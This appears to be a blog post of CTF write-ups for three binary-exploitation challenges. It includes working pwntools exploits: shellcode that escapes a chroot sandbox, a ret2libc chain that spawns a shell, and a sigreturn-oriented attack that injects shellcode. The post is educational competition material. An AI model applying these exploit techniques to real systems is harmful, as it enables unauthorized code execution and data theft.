Cybertek CTF 2025 - Writeups
This post contains quick writeups for some of the challenges I solved during the Cybertek CTF.
babysandbox
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y \
socat \
&& rm -rf /var/lib/apt/lists/*
RUN useradd -m ctf
WORKDIR /home/ctf
COPY main /home/ctf/main
COPY flag.txt /home/ctf/flag.txt
RUN chmod +x /home/ctf/main && chmod 444 /home/ctf/flag.txt
USER ctf
EXPOSE 1333
CMD ["socat", "TCP-LISTEN:1333,reuseaddr,fork", "EXEC:/home/ctf/main"]
unsigned __int64 challenge()
{
void *buf; // [rsp+0h] [rbp-30h]
__int64 v2; // [rsp+8h] [rbp-28h]
char path[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("----------------Welcome to BABYSANDBOX----------------");
puts("I invite you to upload a custom shellcode to do whatever you want");
puts("Well whatever we agree on");
strcpy(path, "/tmp/jail-XXXXXX");
mkdtemp(path);
chroot(path);
chdir("/");
putchar('>');
buf = mmap((void *)0x1337000, 0x1000u, 7, 0x22, 0, 0);
read(0, buf, 0x1000u);
v2 = seccomp_init(0);
seccomp_rule_add(v2, 0x7FFF0000, 2, 0);
seccomp_rule_add(v2, 0x7FFF0000, 0, 0);
seccomp_rule_add(v2, 0x7FFF0000, 0x28, 0);
seccomp_rule_add(v2, 0x7FFF0000, 0x53, 0);
seccomp_rule_add(v2, 0x7FFF0000, 0x50, 0);
seccomp_rule_add(v2, 0x7FFF0000, 0xA1, 0);
seccomp_rule_add(v2, 0x7FFF0000, 4, 0);
seccomp_rule_add(v2, 0x7FFF0000, 0x3C, 0);
puts("Executing shellcode!\n");
seccomp_load(v2);
((void (*)(void))buf)();
seccomp_release(v2);
return v4 - __readfsqword(0x28u);
}
This is a basic sandbox that chroots into /tmp/jail then changes the cwd into root.
It disallows all syscalls except:
- open
- read
- sendfile
- mkdir
- chdir
- chroot
- stat
- exit
User input is read and then executed.
Strategy
- make a new dir (0x53) and chroot (0xa1) to it without chdir to root so we can use .. (relative path reference to the parent directory) and escape to our ../../home/ctf/flag.txt
- use the open (0x2), read (0x0) and sendfile (0x28) syscalls to print the flag
- gg
from pwn import*
elf = context.binary = ELF('./main')
p = process()
payload = asm("""
mov rax, 0x53
mov rdi, 0x41 /* directory ./A */
push rdi
mov rdi, rsp
mov rsi, 777
syscall
mov rax, 0xa1
syscall
mov rax, 0x2
mov rdi, 0x007478742e67616c
push rdi
mov rdi, 0x662f6674632f656d
push rdi
mov rdi, 0x6f682f2e2e2f2e2e
push rdi
mov rdi, rsp /* points to ../../home/ctf/flag.txt */
xor rsi, rsi
xor rdx, rdx
syscall
cmp rax, 0
jge flag_opened
mov rdi, rax
neg rdi
mov rax, 60
syscall
flag_opened:
mov rdi, 0x1
mov rsi, rax
mov rdx, 0x0
mov r10, 0x50
mov rax, 0x28
syscall
""")
p.send(payload)
p.interactive()
Securinets{3e299c7914cee8be389036792c3d8a40536de5fffdba33bb9fcffe3c}
recall
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
int setup()
{
int result; // eax
setresgid(0, 0, 0);
setresuid(0, 0, 0);
setvbuf(stdin, 0, 2, 0);
result = setvbuf(_bss_start, 0, 2, 0);
SET = 0;
return result;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
if ( SET != 1 )
exit(1);
setup(argc, argv, envp);
fflush(_bss_start);
puts(" Welcome to the recall service! ");
puts("Enter your name: ");
fflush(_bss_start);
gets(v4);
printf("Hello, %s\n", v4);
return fflush(_bss_start);
}
This is a basic ret2libc with a simple twist, main can only run once (supposedly) and exits if you ret2main by checking if SET has changed (which it does in the setup() function)
Strategy
- leak libc with puts
- call gets(&SET) to reset it to \x01
- ret2main
- call system(b'/bin/sh')
from pwn import*
elf = context.binary = ELF('./recall')
libc = ELF('./libc.so.6')
rop = ROP(elf)
p = process()
pop_rdi = 0x401219
SET = 0x404010
payload = (b'A' * 0x28
+ p64(pop_rdi)
+ p64(elf.got.puts)
+ p64(elf.sym.puts)
+ p64(pop_rdi)
+ p64(SET)
+ p64(elf.sym.gets)
+ p64(elf.sym.main)
)
p.clean()
p.sendline(payload)
p.recvline()
libc.address = u64(p.recvline().strip().ljust(0x8, b'\x00')) - libc.sym.puts
log.success("leaked libc: " + hex(libc.address))
sleep(0.5)
p.sendline(b'\x01')
payload = (b'B' * 0x28
+ p64(0x401219)
+ p64(next(libc.search(b'/bin/sh\x00')))
+ p64(libc.sym.system)
)
sleep(0.5)
p.sendline(payload)
p.interactive()
Securinets{Always_reC1ll_Before_Plt!!}
SROwave
0000000000401000 <_start>:
401000: 48 b8 5d 10 40 00 00 movabs rax,0x40105d
401007: 00 00 00
40100a: 50 push rax
40100b: b8 01 00 00 00 mov eax,0x1
401010: bf 01 00 00 00 mov edi,0x1
401015: 48 8d 34 25 00 20 40 lea rsi,ds:0x402000
40101c: 00
40101d: ba 46 00 00 00 mov edx,0x46
401022: 0f 05 syscall
401024: b8 01 00 00 00 mov eax,0x1
401029: bf 01 00 00 00 mov edi,0x1
40102e: 48 8d 34 25 46 20 40 lea rsi,ds:0x402046
401035: 00
401036: ba 12 00 00 00 mov edx,0x12
40103b: 0f 05 syscall
40103d: 48 83 ec 40 sub rsp,0x40
401041: b8 00 00 00 00 mov eax,0x0
401046: bf 00 00 00 00 mov edi,0x0
40104b: 48 89 e6 mov rsi,rsp
40104e: ba 00 02 00 00 mov edx,0x200
401053: 0f 05 syscall
401055: 48 31 f6 xor rsi,rsi
401058: 48 83 c4 40 add rsp,0x40
40105c: c3 ret
000000000040105d <exit_syscall>:
40105d: b8 3c 00 00 00 mov eax,0x3c
401062: 48 31 ff xor rdi,rdi
401065: 0f 05 syscall
401067: 58 pop rax
401068: c3 ret
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r--p 1000 0 main
0x401000 0x402000 r-xp 1000 1000 main
0x402000 0x403000 r--p 1000 2000 main
0x7ffff7ff9000 0x7ffff7ffb000 r--p 2000 0 [vvar]
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 0 [vvar_vclock]
0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
Strategy
- Use mprotect to change protections on the executable region and get write permission on it
- Instead of doing the traditional execve('/bin/sh') with a SigreturnFrame we can inject shellcode directly into the executable region of the binary right after the read syscall so we override the remaining instructions and resume execution into our open-read-write flag.txt
- gg in 1 rt_sigreturn syscall
from pwn import*
elf = context.binary = ELF('./main')
p = process()
frame = SigreturnFrame()
frame.rdi = 0x401000
frame.rsi = 0x1000
frame.rdx = 0x7 /* read | write | exec */
frame.rax = 0xa
frame.rip = 0x40103b
frame.rsp = 0x401055 + 0x40
payload = (
b'A' * 0x40
+ p64(0x401067)
+ p64(0xf)
+ p64(0x40103b)
+ bytes(frame)
)
sleep(0.5)
p.sendline(payload)
shellcode = asm("""
mov rax, 2
xor rsi, rsi
push rsi
xor rdx, rdx
push rdx
mov rdi, 0x7478742e67616c66
push rdi
mov rdi, rsp
syscall
mov rdi, rax
mov rax, 0
lea rsi, [rsp+0x100]
mov rdx, 100
syscall
mov rax, 1
mov rdi, 1
lea rsi, [rsp+0x100]
mov rdx, 100
syscall
""")
sleep(0.5)
p.sendline(shellcode)
p.interactive()
Securinets{SR0p_1S_C00l_0x1337}